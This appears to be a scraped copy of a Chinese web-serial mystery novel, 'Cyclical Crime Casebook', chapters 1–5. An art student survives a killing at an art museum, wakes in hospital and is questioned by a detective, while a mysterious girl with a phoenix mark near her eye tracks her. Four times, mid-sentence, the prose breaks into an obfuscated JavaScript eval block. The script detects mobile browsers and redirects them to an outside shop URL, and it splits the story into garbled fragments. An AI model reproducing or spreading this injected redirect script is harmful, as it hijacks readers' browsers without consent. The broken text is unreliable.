《循环罪案诊疗簿》 1. 序章 “醒醒,醒醒阿眠……” 声音由远及近,嗡嗡嗡地仿佛隔了一层毛玻璃,怎么也听不清。 向眠皱眉想要分辨清那声音,身子却不受控制似的猛地往前一冲,像是被什么东西狠狠撞了下,连带着她的魂都被震回了身体里。 豁地一下,她顺势睁开了眼。 窗外阵阵蝉鸣,燥热的暖风偷偷地从窗户缝中钻了进来。仄逼狭小的公交车内,各种絮絮叨叨的声音不断,像是沙丁鱼罐头一样拥挤不堪。 耳边,那道声音仍在喋喋不休的说着:“你可算醒了,再不醒我就要叫救护车了。” 向眠的体质有些虚,时不时晕车,为了防止胃里的翻江倒海,每次上车的时候,她都习惯性的睡上一觉。 往常快到站前,她总是会被手机闹铃唤醒。 然而这次闹铃响了很久,同她一起乘车的孙丽娜更是连着叫了她好几声,却始终不见她有何反应,像是被困在了梦魇里,怎么也醒不过来。 孙丽娜又念叨了两句,仍然没有得到回应。 抬头一看,向眠像是忍受着剧痛般的,脸上布满了冷汗,额角的青筋暴起。 再一联想到,向眠上午才刚刚出院,她不免担忧道:“怎么了?是不是胃又不太舒服了?要不要回医院再检查一下?” 向眠也说不清究竟是怎么一个情况。 最初的时候,她感觉脑袋晕乎乎的,像是胃病引起的低血糖突然发作了,又像是做了一场永无止境的噩梦,甚至有一种人肉分离的错觉,没一会儿那种感觉就逐渐消失了,取而代之的是从骨头缝里传来的剧痛,很痛但转瞬即逝。 她下意识地抬眸朝车窗看去。 公交车正驶过林间,层层叠叠的树桠隔绝了明媚刺眼的阳光,倒影出她那张温柔清秀的脸庞。 浅黄色棉质长裙,乌亮柔顺的头发用一支黄色彩铅松散的挽起。 衬得少女流露在外的皮肤更加白皙如瓷。 向眠盯着车窗上自己的影子观察了两眼。 没有伤口,仿佛刚刚的一切,都只是她的错觉。 她微微抿了抿唇,正想要说“没事”时,公交车内响起了一道夹杂着电流声的提示音:“晋州市美术馆到了,请您携带好随身物品……” 还没来得及说出口的话,瞬间被淹没在了刺耳的刹车声下。 这站下车的人比较多,车子又晚了一班,更显拥挤,没等她反应过来,便被一道洪荒之力推搡着挤下了车…… 她脚下一个没稳,恰巧和经过车站的一名女生撞个正着。 她下意识地问:“你没事吧?” 几乎是同一时间,那名被她撞倒的女生说出了同样的话。 两道声音重叠在一起,一道略显漂浮,一道则显得沙哑了些。声线却是格外的相似。 向眠微微愣了下,就当她准备说“没事”的时候,却再次被打断了。 那名女生像是受到了天大的惊吓般猛地抬起头:“是你——” 她像是一只突然发疯的狮子,毫无征兆地跃起,用力攥住了向眠的衣领,双眼猩红地质问:“你为什么要这么做?!你为什么要杀了她?!” 今天的气温不低,那名女生却是一副全副武装的模样。穿着一件到脚踝的棕色风衣,领口高高的竖起,将她的大半张脸都遮挡得严严实实的。 暴起的瞬间,原本遮挡着的领口稍稍往下掉了一截,露出了一只左眼—— 很漂亮的杏眼。 唯一美中不足的是,眼尾处有着一道凤凰涅槃似的浅红色印记。 有点眼熟。 她似乎……在哪里遇见过这名女生。 以至于她几乎忘记了挣扎。 就在她觉得自己快要窒息的前一秒,孙丽娜抢先一步从公交车上走了下来,她一把扯开了女生的手,扶住了向眠的身子,担忧地问:“阿眠,你没事吧?” 话音未落,就见那名女生用一种很奇怪的,很不可思议的眼神看着孙丽娜,颤声问:“你是……孙丽娜?” 孙丽娜有些疑惑地看着她,但还是点了点头:“是啊!你认得我?” 可谁知那名女生却是满脸不可置信地说:“你……你居然没死?!这怎么可能呢?” 任谁被这么莫名其妙的说了一顿,都无法心平气和,孙丽娜的脸色瞬间阴沉了下来,拉着向眠的手就要离开:“快走快走,离这个神经病远点。” 不知怎么的,向眠总觉得那名女生的身上,有种说不清道不明的熟悉感。 她不由得放缓了脚步,回头朝那女生的方向望去—— 那名女生正茫然地站在原地,大约过了三五分钟,她好像是突然想到了什么,猛地抬起头,朝着她们的方向大喊了几句。 她和那名女生之间隔着不远的距离,周围声音又略显嘈杂,照理来说她应该听不见那名女生说的是什么?但莫名的她似乎隔着人海听到了那名女生的呐喊:“别去美术馆!” 为什么呢? 心底有个声音,让自己一定要听她说的…… 可不等她想明白这其中的缘由,那道声音便被彻底关在了美术馆门外。 连同外面的景色一起被隔绝在外,向眠瞧着厚重的大门,莫名地生出一阵毛骨悚然,她好像曾经在哪里见过同样的场景,心底没理由地冒出一个不好的念头。 门上雕刻着两个栩栩如生的闪烁着点点荧光的古印度神话人物,红玛瑙点缀的眼睛此刻正直勾勾地盯着她,像是两个地狱使者,残忍而又无情地将他们几人困死在美术馆,无法挣扎也无法逃脱。 垂在身侧的指尖不自觉地握紧,她低声询问:“丽娜,我们之前是不是来过这边呀?总觉得很熟悉。” “没有啊!”孙丽娜看着向眠慌张的神色,忍不住调侃了句:“你该不会是悬疑小说看多了,产生后遗症了吧?” 她打趣着,然而下一秒就笑不出来了。 爆炸轰鸣声从四周传来,顷刻之间便响彻整座美术馆,震耳欲聋。 连着电闸的电线跟着滋滋作响了两声,紧接着扑通一下,整间画展的灯光都灭了,陷入了沉寂。 一股似有若无的血腥味,从大门口一点点的弥漫开,从最开始淡淡的几不可闻,逐渐变得浓重,没一会儿的功夫便席卷了整间画展。 黑暗中,向眠敏锐而又模糊的感觉到有人来到了她的身后,那人的身形高大粗犷,将她整个人裹挟进了他的倒影里。 向眠只觉得头皮一阵发凉,不等她有进一步动作,便听到“咚”的一声,太阳穴附近顿顿的,似乎有什么液体从她的脑袋上缓缓的流下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699806|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 她的身体像是被突然定住了,只剩下手臂可以动弹似的,她一点一点地摸了上去。 ——是血! 血迹逐渐扩散开,像是深不见底的泥泞沼泽,不断吞噬着向眠的身子,从手指到腰部,再到腿……一点一点的。 她的身体不受控的下坠,双腿冷不丁的抽筋了一下,紧接着一个激灵,她猛地睁开了双眼,竟是惊醒了过来。 冷汗从她的额角滑落,胸膛剧烈地起伏着,眼前层层重影,过了一会儿她的视线才慢慢地聚焦在了一双略显诧异的眼眸上。 眼睛的主人看着四五十岁的样子,扎着只干净利落马尾辫,穿着件白大褂。 她似乎也没有想到向眠会突然苏醒,愣了下,才反应过来:“你醒了?感觉怎么样?有没有哪里不舒服?” 不知道是不是因为白炽灯过于明亮了些,晃得眼前的眼前的景物都好像蒙上了一层朦胧的白雾。 连带着脑袋也恍惚了一瞬,木木的,一片空白,她怔愣了一会儿,才出声询问:“我……” 刚一开口,她就感觉嗓子一阵干痒,声音更是像是在沙漠里行走已久的旅人一样沙哑。 她忍不住轻咳了几声:“我……这是哪儿?” 她能够清晰的感觉到,此刻的自己正躺在床上,床头柜上摆着一束盛放的太阳花,散发着点清香,但依旧难以掩盖床单上那股刺鼻浓重的消毒水味。 很熟悉,好像是在哪家医院里? 正这么想着,就听那名穿着白大褂的女子回答说:“这里是晋州市第一人民医院啊!” “晋州市第一人民医院?”向眠喃喃地重复了句,有些莫名:她怎么会在这儿呢? 她明明记得自己刚在美术馆里遭到了杀人犯的袭击啊!怎么一眨眼的功夫就到医院了呢? 而且—— 她垂眸看了眼手腕,指节白皙细腻,没有瞧见任何的伤口,脑袋也不觉得疼痛。那名穿着白大褂的医生胸口更是挂着“晋州市第一人民医院·王琳”的胸牌。 怎么看都不像是假的。 难道前面发生的,都只是她的错觉? 莫名的,她的耳边响起孙丽娜之前玩笑般的呢喃:“阿眠,你该不会是悬疑小说看多了,产生后遗症了吧?” 她微微皱了皱眉,若有所思了起来—— 如果美术馆的事情是她的幻觉,那么她本来应该在干些什么呢? 她好像……早上出门的时候,胃病引起的低血糖突然发作,半路昏倒了……所以是有人发现了她,并把她送来了医院吗? 想到这儿,她忙不迭地查看了眼手上的住院手环。 住院手环的日期写的非常潦草,只能大致地看清住院日期为首的一个2字,这倒是和她胃病复发住院时佩戴的手环上写的日期差不多。 所以所经历的事情就只是一场噩梦吗? 她心有余悸地按着自己仍在剧烈起伏的胸膛:“这未免也太真实了吧。” 然而不等她紧绷的神经彻底放松下来,就感觉后脑冰冰凉的,伴随着“滴答滴答”的声响,好像有什么液体滚过她的后脑勺。 她的身子一僵,脑海中莫名浮现起指尖沾满了鲜血的场景。 她深深地吸了口气,伸手慢吞吞地拂上了后脑勺…… 2. 001 ——指尖所及是透明的水渍。 屋外下着大雨,雨珠滚过历久弥新的屋顶,渗进了病房内,落在了她的头顶。 向眠下意识地松了口气,却听王琳打断了她的动作:“别乱碰,你的伤口才刚刚缝合好,小心细菌感染……” 伤口?刚刚缝合好? 一个奇怪的猜想从她的脑海中一闪而过,她非但没有听医生的劝,反而趁其不备,飞快地沿着水滴滴落的位置朝左斜方一摸。 纱布边缘那略显粗糙的质感顺着她的指尖,传到了她的神经末梢。 她的身子一僵,之前被重物撞击的刺痛感袭来,瞬间盖过了麻药的效果。 几乎是同一时间,向眠听到走廊上传来一阵播报声伴随着滋滋滋的电流声从门缝中钻了进来:“7月24日,晋州市美术展内发生了惨绝人寰的凶杀案……” 她顿时不可思议地瞪大了双眼。 如果刚刚的不是梦,是真实发生的事情,那—— “我怎么会在这儿的?丽娜……孙丽娜又去哪里了?!”向眠忙问。 她的记忆尚且停留在遭到凶手袭击的那一刻,对于昏迷后怎么来到医院的整个经过都一概不知。 “孙丽娜?”王琳愣了下,不明所以地说,“没听说过这个名字……” 话音未落,就被一道更低沉的声音给打断了:“孙丽娜,美术馆案的另一名受害者,也在医院里进行抢救。不过——” 向眠顺着那声音看去,只见一名陌生男子正斜靠门边。 他颇有风度地朝着王琳的方向点头示意了下,转而看向向眠,接着往下说:“她伤得比你严重得多,刚刚从ICU转出来,不知道什么时候能醒过来。” 他的左手插在兜里,右手则提着一叠厚厚的资料。白色短袖的下摆被塞在了黑色工装裤里,肩宽腿长,不疾不徐地上前一步:“向眠,十九岁,晋州大学美术系大三学生,是吗?” 病房内冷不丁的走进了一名陌生男子,而且该男子还对她的个人信息了如指掌,向眠的注意力瞬间就转移到了他的身上,她有些警惕地往床边缩了缩:“你——你是谁?!” 就在她一不小心就要摔下床时,她听到了那名男子的自我介绍:“初次见面,还没来得及自我介绍——” 他不紧不慢地走到向眠的床边,又从口袋里拿出了证件:“晋州市公安局宋立声,来找你了解一些画展案的细节。” 证件上的他穿着制服,神情冷峻。虽然和现在这副吊儿郎当的样子有些落差,但仍能看出是同一个人。 向眠的视线在证件上面停留了一会儿,才稍稍放松了些,慢吞吞地抬起头问:“什……什么事?” “你怎么会出现在美术馆的?”宋立声非常自然地拉开床边的凳子,姿态松弛,长腿一搭,然后从资料袋里摸出来了一支录音笔,问:“案发当天正好是暑假期间,你家离那地方挺远的吧?” 向眠微微抿了抿唇:“是志愿者……我们学校对志愿者活动是有要求的,必须得集满一定时长,才能拿到毕业证书。当天正好轮到我和孙丽娜去美术展做志愿者。” 宋立声不置可否地点了下头:“然后呢?” 其实,有关那天的回忆是模糊的。像是低血糖突然发作了,脑袋有点晕乎乎的,虽然亲身经历着,却又好像不是真实的发生在自己身上,只是做了场梦,以至于现在回想起来,连带着当时心惊胆战的情绪都显得有些恍惚。 向眠不自觉地轻咬了下下嘴唇,才接着往下说:“最开始的时候,没发生什么奇怪的事情,我们就照常帮忙布置了下画展。” “等我们弄得差不多了,大概……”她顿了顿,皱眉回忆补充道:“晚上七八点左右,门外好像传来了爆炸声,越来越响,也越来越近。” “好像?”宋立声眯眼重复了遍她的用词。 向眠小幅度地点了点头:“因为美术展览准备期间都是关着门的,所以我们不知道外面究竟发生了什么。” 她话音顿住,像是在整理乱七八糟的片段:“大家下意识地以为外面发生了大爆炸,慌得不行,但我总觉得哪里有点不对劲。” 好像曾经做梦梦到过,有种莫名的熟悉感和似曾相识的感觉。 明明看不清外面发生了些什么,但心里面却像是提前预知了一样,冒出了个强烈的念头—— “这应该不是真正意义上的爆炸。” 宋立声饶有意为地问:“哦?怎么说?” 向眠也不知道为什么会产生这样的直觉,但她还是耐着性子边思索边解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我找了一会儿,听到她的呼救声,才确定了她的大致方向……我偷偷来到了她的身边,想要分散凶手注意,带她逃出去……可我的身上只带了一支彩铅,保安又都被爆炸声给支走了,我没有其他选择,只能赌一把。” 向眠的呼吸急促了起来,她的双手下意识地攥紧了被子:“但就在这时候,我却听美术馆外有人在说话。” “她说——”她猛地抬起头,脸色发白,唇间几乎挤不出声音:“不要去美术馆!来不及了,一切来不及了……” 3. 002 “什么?”宋立声上下打量了圈眼前的少女。 灯光洒在向眠的身上,柔和的光晕勾画出她略显憔悴的轮廓,如墨般的长发随意地垂落在肩头,柔软的发丝轻轻拂过她的脸庞,透露出一种脆弱又不真实的美感。 她接着前面的话往下说:“——他们都会死的!” 她的嗓音有些飘忽,仿佛近在咫尺,当着他的面说的,又仿佛隔了很远显得有些空灵,听不太真切。 和记忆中的那道惊慌焦虑的声音居然以一种极其诡异的方式,重叠在了一起。 他重复地问了遍:“是谁说的?” “是名女生……”向眠咽了咽口水:“我在美术馆附近碰到了一名很奇怪的女生。” “第一次见到她是在去美术展的路上,当时她一个劲的阻止我和孙丽娜去画展。” “第二次见到她是在凶案现场,我正准备带着孙丽娜逃出画展,可就在这时候,却突然听到了她的声音,她说‘来不及了,一切都来不及了……’” “我没有想到她会跟着追来美术馆,也不知道她和凶手是不是一伙的,所以我没敢接着往外跑。就在我想着该怎么办的时候,凶手却快一步来到了我的身后,他抡起东西就往我脑门上砸,然后……我就昏了过去,等我再醒来的时候,就已经在医院了。” 宋立声眯了眯眼。 一时间,病房内陷入了一片寂静,只剩下紧贴着向眠手腕上检测仪器发出“滴答滴答”的监测声,以及宋立声指尖不紧不慢地轻扣着凳子发出的富含节奏感的声响。 他的眼眸狭长而又深邃,一瞬不瞬地看着向眠,似乎在思考,又似乎想要看穿向眠的内心。 大约过了两三秒,她才听到他接着追问了句“你还记得她长什么样吗?” 向眠迟疑片刻:“那名女生和我长得差不多高,大概一米六八左右,身形微瘦,穿了一件棕色长款风衣,包裹的很严实。” 她两次见到那名女生的时候,都有些突然,要么是有些蒙圈,要么是即将陷入昏迷,再加上那名女生本就全副武装,以至于现在回忆起女生的模样时,都有些模糊不清。 唯一印象深刻的就是—— “她露出了一双眼睛。很漂亮,是非常典型的杏眼。” 她顿了顿,又补充地指了指自己眼角的地方,说:“眼尾的地方,好像有个伤疤?也有可能是纹身?浅红色的图案,很特别。像是……坠入火焰的小凤凰?” 那图案跃然于眼前,但一下子又形容不出来,向眠下意识地摸上自己的发间,想要取下原本插在发间,充当着发簪的黄色彩铅,然而却摸了个空。 她这才想起,之前在案发现场时,自己为了转移凶手的注意力,早就将那支彩铅给扔了出去。 指尖稍稍蜷缩了下,正当她伸手准备去够床头柜上的水笔时,却看见宋立声拿出了一支彩铅:“在现场捡到的,上面有你的指纹,想着可能是你的东西,就顺带着拿过来了。” “谢谢。”向眠说着,接过彩铅的动作却是微顿。 不知道是不是她的错觉—— 那彩铅似乎比她印象中的“新”了些……? 她的指腹轻轻地抚摸了一下笔杆,之前不小心磕破的地方,现在竟变得光滑平整了,她微微皱了皱眉,正准备仔细端详,便听宋立声说道:“那就麻烦向同学了。” “好!”她轻轻应了一声,便开始在画纸上慢慢描绘起来。 笔尖划过纸张发出细微的声响,向眠的动作因为刚刚清醒有些缓慢,手腕甚至因为长时间昏迷稍微有些颤抖着,她自己也显然察觉到了这点。 却没有因此停下画笔,只是用右手握住了左手手腕,以此来让笔触变得更加稳一些。 白炽灯光为她镀上了一层朦胧的光晕,她的脸色有些苍白,唇色也沾染上了些病气,显得格外的淡,像是漂亮脆弱的瓷娃娃。 只是目光扫过她的眉眼,她那双漆黑的眸底,却明亮的让宋立声恍惚了一瞬,仿佛深邃夜空中闪烁着点点繁星。 他若有所思地盯着向眠瞧了两眼,视线又重新落回到了画纸上。 那是个非常特别的图案,像是凋零散落在空中飞舞的红色枫叶,又像是即将脱离蚕茧的蝴蝶翅膀。 宋立声微微眯了眯眼:“果然是她。” 是意料之中的口吻。 “你……认识她?”向眠抬头。 宋立声并没有直接回答,而是缓缓道:“事实上,爆炸案还没发生的时候,我曾接到了一通报案电话。听声音是名女生,她和我说:‘晋州市美术馆即将发生爆炸杀人案,让我务必尽快阻止这起案件的发生。’” “当时她是直接打电话给我的私人手机,警局并没有接到相关报案。而且她的声音很慌张,颠三倒四的。” “要么是她神智不清导致的胡言乱语,要么她提前得知了爆炸案的情况。所以我并没有挂断电话,而是继续保持着通话,并且派人对她进行了定位。” “可无论我说什么,她只是不停地说着:‘来不及了,他们都会死的……’” 宋立声在重复那名女生说话的时候,不紧不慢的语调里刻意加上了几分惶恐不安,瞬间便将她拉回到了案发现场。 “等警方赶到美术馆的时候,凶杀案已经发生了……” 向眠忙问道:“那你们找到她了吗?” “没有。在快要确定她具体位置的前一秒,那名女生挂断了电话。” 宋立声接着补充道:“事后我们曾多次拨打那名女生的电话,却一直显示关机状态,而我们根据那串电话号码进行搜查,却发现手机号登记在一个名叫王茹的妇女名下。该妇女46岁,案发时正在附近的菜场买菜,有明确的不在场证明,而且她的声线和报案人的不符合。据她所说,当时有一名奇怪的女生借走了她的手机。那名女生全副武装的瞧不清具体模样,只记得……” 他不紧不慢地轻敲了下画稿,一字一句地说:“她的左眼旁有个很特别的图案。” “怎么会这样?!”向眠不自觉地咬了咬指甲,巨大的恐惧感将她包裹着,她的语速不自觉地加快了些:“她是谁?从哪里知道这起杀人案件的?又为什么会提前告诉我们呢?” 宋立声看了她一眼:“知情者又或者幕后凶手。” 向眠疑惑地问:“幕后凶手?” 这名女生和当时案发现场真正对他们发起攻击的男子,并不是同一人啊! 她刚这么想着,就听见宋立声一点点分析了起来:“录音机上有且只有凶手的指纹,很可能是凶手在进入画展前,安置在画展的四周,为的就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699808|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防止画展的保安听到受害者的呼救声,冲进画展,影响他的杀人计划。” “可警方将凶手抓捕回警局后,却发现凶手先天性智力低下,体内更是含有少量残留的LSD致幻剂。” 似乎考虑到向眠可能听不懂,他跟着耐心地解释了句:“是一种会让人产生幻觉的药物。服用者通常容易暴怒,具有攻击性,还会伴随着记忆的缺失。” “怎么会这样呢?”向眠微微皱了皱眉。 美术馆的案件很明显是提前设计好的。 可如果凶手痴傻,再加上服用过量的药物,导致一时暴起杀人的话,那他是怎么策划出这起凶杀案的? 难道说—— 她像是反应过来什么似的,问:“有人在背后指使他?而且那个人或多或少和那名女生有联系?” “两种可能。”宋立声竖起两根手指,“假设那名女生是幕后黑手,那么她来美术馆附近多次提醒你,很可能是因为她在指使嫌犯杀人后后悔了,想要阻止案件的发生。” “但如果那名女生只是知情者的话,乞丐是在药物作用下,应激杀人的,那么现场五个人,幕后黑手真正的目标又会是谁呢?是美术馆的工作人员,孙丽娜,又或者是你呢?” “所以——”他的身子微微前倾,兜来转去和向眠分析了那么多,才说出了他的真正意图:“出于安全考量,接下去的一段时间里,会有警察24小时保护你。” 说着,他随手拿了一张白纸,飞快的在上面写下了一串号码:“另外,这是我的私人手机号码,如果有特殊情况,可以直接联系我。” 向眠看了眼,手里的纸张上还残留着点余温。 上面写着一串数字,字迹散漫而又张扬,和宋立声给人的感觉很像。 好像之前已经深刻在脑海里似的,只一眼,她便记住了这串号码。 病房外熙熙攘攘的,隐约还能听见喋喋不休的播报声:“……现场五人三死一重伤……”,伴随着小轮胎滚过地面发出丁零当啷的声音,房门再次被人推开了一小条缝。 公安局派来的新警员这么快就到了? 向眠下意识地抬头望去,映入眼帘的却是一名穿着护士服,推着辆银色小餐车的妇女。 餐车上叠着几层高的盒饭,她麻溜地拿起最上面标注着“305”字样的饭盒放在了向眠身侧的床头柜上:“这是今天的午饭,如果肠胃没什么不舒服的话,就可以正常进食了。” “好,谢谢。”向眠一边说着,一边自然而然地从包装袋里抽出一次性筷子,来回刮了几下。 视线却是不经意地越过人群,落在了走廊间的电视机屏幕上:“凶手党昭,身高一米八六,体重……” 当镜头扫过那名名叫党昭的替罪羔羊时,一些隐藏在回忆角落里的细枝末节也逐渐变得清晰。 “你为什么要杀了她?!” “孙丽娜?你居然没死?!” “体内残留少量的LSD致幻剂。会让人产生幻觉,具有攻击性……” …… 断断续续的对话声同时在她的脑海里悉悉索索的响起来了,拼凑成了一个诡异但是很有可能的假设。 ——如果药物可以让人产生攻击性的话,那么最开始幕后黑手想要选择的替罪羔羊又会是谁呢?! 4. 003 向眠的背脊一凉,手中的筷子也“啪嗒”一声,掉在了地上。 从昏迷到醒来,不过短短几小时,她却再次切实的体会到了被恐惧笼罩的不安惶恐感。 她深深地吸了口气,强压下内心的不安,一点点分析了起来—— 根据警方提供的线索,党昭是因为服用了LSD致幻剂,才突然暴起杀人的。而LSD致幻剂是有时效性的。 也就是说,如果美术馆外碰到的那名女生所言非虚,幕后黑手最初是想利用自己,杀死孙丽娜等人的话,那就得在7月24日上午给她下药。 当天是她住院的最后一天,她原本是打算在医院吃过午饭再离开的。 可偏偏那天志愿者的时间提前了,她的身体也恢复的差不多了,索性就直接出院了。 这是她临时决定的,幕后黑手并不知情。 那么反过头来设想,假使她没有提前出院,幕后黑手又会把致幻剂下在哪里呢? 向眠眯了眯眼,视线沿着房间扫视一周,最终落在了床边的饭盒上。 铁制的饭盒上清晰地印着她所在的病床号。 医院的盒饭是一床一盒安排好的,这也就意味着,幕后黑手只要提前查清楚她所在的病房,找准时机将致幻剂混合进她当天的食物里,就可以不动声色地将她设计成画展案明面上的凶手了。 想到这儿,向眠的呼吸一滞,她忙不迭的站起身,拦住了即将推着小餐车离开的护士:“阿姨,前天送餐的时候,有没有发生什么奇怪的事?” “奇怪的事……”护士皱眉思索了下,“那几天住院的人特别多,动不动就听到有人吵来吵去的……你要一下子这么问我,我也不知道你说的是哪件事啊?” “一名女生,”向眠潦草地比划了两下,“大概一米六八左右的样子,身形偏瘦,然后左眼眼尾……” 她指了指自己左眼额角附近裹着纱布的地方:“这里,有个淡红色的图案……” 护士阿姨一脸纳闷地看着她:“你这话说的……不就是你自己吗?” 她的下半句话还没说出口,就被不远处走廊间传来的叮呤咣啷的声音给掩盖了过去。 不锈钢的铁桶重重地倒在了地上,满满的一锅菜粥也随之“哗——”的一下洒在了地上,软糯晶莹的米粒飞溅了出来,泼在了周围的人身上。 靠得近的几名患者家属被这突如其来的菜粥烫了一身,忍不住怒骂道:“神经病啊!也不看着点路,好好的一锅粥都被你给撞翻了。” “搞什么搞!没长眼啊?!” …… 而造成这一切的始作俑者,却因为包裹得严实,幸免于难。 顷刻间,人群涌了上来,现场闹成了一锅粥,向眠和那名女生离得很远,以至于完全看不清那名女生的长相,只能隐约地听见,那名女生略显神经质地说了句:“怎么可能呢?!” 虽然只是短短的几个字,但向眠依旧认了出来! ——是她!案发现场的那名神秘女子。 向眠的瞳孔倏地放大,她呆愣了一瞬,便急匆匆地朝着那名女生的方向跑去。 走廊七拐八绕的,女生的动作又极快。 向眠紧赶慢赶才追上了她,然而就在她准备拦住女生的去路时,手腕却被人给拽住了:“向眠?可算找到你了!你刚刚跑哪里去啦!害得我一顿好找。” 向眠微微皱了皱眉。 眼前的男子穿着件夹克衫,背着个鼓鼓囊囊的书包,身后跟着一名穿着白大褂的医生,因为一路狂奔疾走,他的气虚有点喘,连带着娃娃脸也有点泛红。 他一边喘着粗气,一边对着身后的医生说:“就是她!医生麻烦帮忙看看她伤口好了没。” 向眠有些莫名的看着眼前几人,就在那两名医生的手即将搭在了自己身上时,她终于忍不住出声询问:“我们认识吗?” “我们认识吗……?”他学着向眠疑惑的腔调重复了遍,然后一脸奇怪地看向向眠:“拜托,我们刚刚才见过面啊!你不记得我了?!” 他一边说着,一边端倪着向眠的神情。 她的嘴唇微抿着,表情认真,眉眼间虽然还带着点疲惫,但那股掩藏的焦躁不安却消失的无影无踪,仿佛整个人突然静了下来。 ——和之前见到的感觉好像有些不一样了。 他皱了皱眉,虽然心生疑惑,但还是重复了遍:“我谢扶光啊!宋队派我来保护的。” 谢扶光?……宋队! 向眠一下子从蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699809|189141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈的状态清醒了过来,朝着之前的方向看去。 清爽的少年音在耳边喋喋不休的说着,神秘女生的身影却是越来越远。 眼瞅着那名女生即将消失在长廊的尽头时,向眠忍不住地打断了他:“我看到她了。” 在察觉到谢扶光眼底的茫然后,她又补充道:“案发现场的那名神秘女生。” 谢扶光神情顿变:“哎?真的假的?!她在哪啊?” “那边。”向眠指了指女生刚刚离开的地方。 却发现距离他们十步之遥的过道被分成了两条小路,通往不同的方向。 那名女生会去哪里呢? 向眠微皱着眉,就听谢扶光囔囔道:“那还等什么?!赶紧追啊!” 然而他刚说出口,就想起之前向眠莫名其妙的转变,忍不住试探性地追问了句:“你确定没记错?!” “真的!我骗你干什么?!”向眠说。 谢扶光盯着她瞧了两眼。 见她眼神里的笃定不似作假,他才做了决定:“行,那我们兵分两路!你左我右,谁先找到那名女生了马上联系对方一下!” “好!”向眠应了声,便朝着东南方向追了上去。 窗外大雨未歇,噼里啪啦地打在雨棚上,甚至有种愈演愈烈的趋势。 她沿着过道跑到医院外,却连那名女生的影子都没看到。 难道那名女生走的不是这边? 向眠单手扶着墙,大口喘着粗气。 她才刚刚从昏迷中醒来没多久,又追着那名女生跑了好大一圈,现在只觉得心脏砰砰地跳个不停,好像下一秒就要从胸口蹦出来似的。 她轻轻地按了按胸膛,稍稍歇了会儿,正打算拿出手机打电话给谢扶光时,才后知后觉地意识到自己压根不知道谢扶光的手机号码是多少! 就在她有些懊悔,准备往回走时,手机铃声却抢先一步响了起来。 ——是一串陌生的号码。 是谢扶光找到了那名女生,打电话来提醒她的吗? 向眠快速地按下了接听键。 然后她听到一道略显沙哑,如同鬼魅般的女声,混杂在滋滋滋的电流声里,从电话的另一端传了过来:“你是在找我吗?向眠。” 5. 004 短短的几个字,落在向眠的耳朵里,无异于一道平地惊雷,劈得她脑子一片空白。 过了三五秒,她才从震惊里抽回神,找回自己的声音:“是你!你究竟是谁?!” 对面的女生并没有直接回答。 刚刚的那两句话,仿佛只是她的错觉。 可偏偏手机里传来“滋滋滋”的电流声,以及混杂其中那道似有若无的呼吸声,又实实在在地提醒着她—— 那不是她的幻听! 握着手机的手微微一紧——那名女生不可能无缘无故地打电话给她。 除非!从一开始她就在暗处,窥探着自己的一举一动! 她正这么想着,就感觉一道似有若无的视线正直勾勾地盯着她。 她的呼吸一滞,猛地转过身,身后却是空荡荡的,没有遮蔽物。 她不死心地又仔细摸索了圈,终于在角落缝隙里,找到了一个类似于狗洞一样的圆形入口。 那洞口看着小而破,但往里面一瞧,却是一眼望不到尽头。 那名女生会不会就藏在里面? 向眠盯着它瞧了两眼,心下一横,弯腰走了进去。 小巷狭窄,随处可见的电线将天空分割成了好几小块,灰蒙蒙的,显得格外的压抑。 地上更是乱糟糟的堆满了垃圾,零星几个可以落脚的地方卡在缝隙里,走在这条小路上竟有一种梦回小时候玩跳格子游戏的错觉。 向眠单手扶着墙沿,一脚深一脚浅地往里了几步,电话那头才再次传来了少女的说话声:“我是谁不重要,重要的是——我想和你打个赌。” 向眠眉头一紧,她迟疑了一会儿,才警觉地开口问了句:“赌什么?” 电话那头,少女轻笑了一下。 “赌一下,究竟是你和警方先找到藏在幕后的凶手,还是幕后凶手先杀死你和孙丽娜,就以9月3日为界线。” 向眠闻言脚下一歪,一不小心踩进了泥水坑里。 积水溅在了裤脚管上,湿哒哒的黏在她的小腿上。 然而她却顾不得这些,只觉得后背一阵发凉。 虽然她已经想到了幕后黑手一天没有抓到,那么她和孙丽娜随时都可能再次受到幕后黑手的攻击,但是没有想到—— 这个猜测会这么直白的被这名神秘的女生给说出来,她不禁倒吸了口冷气,厉声质问:“你究竟知道些什么?!” 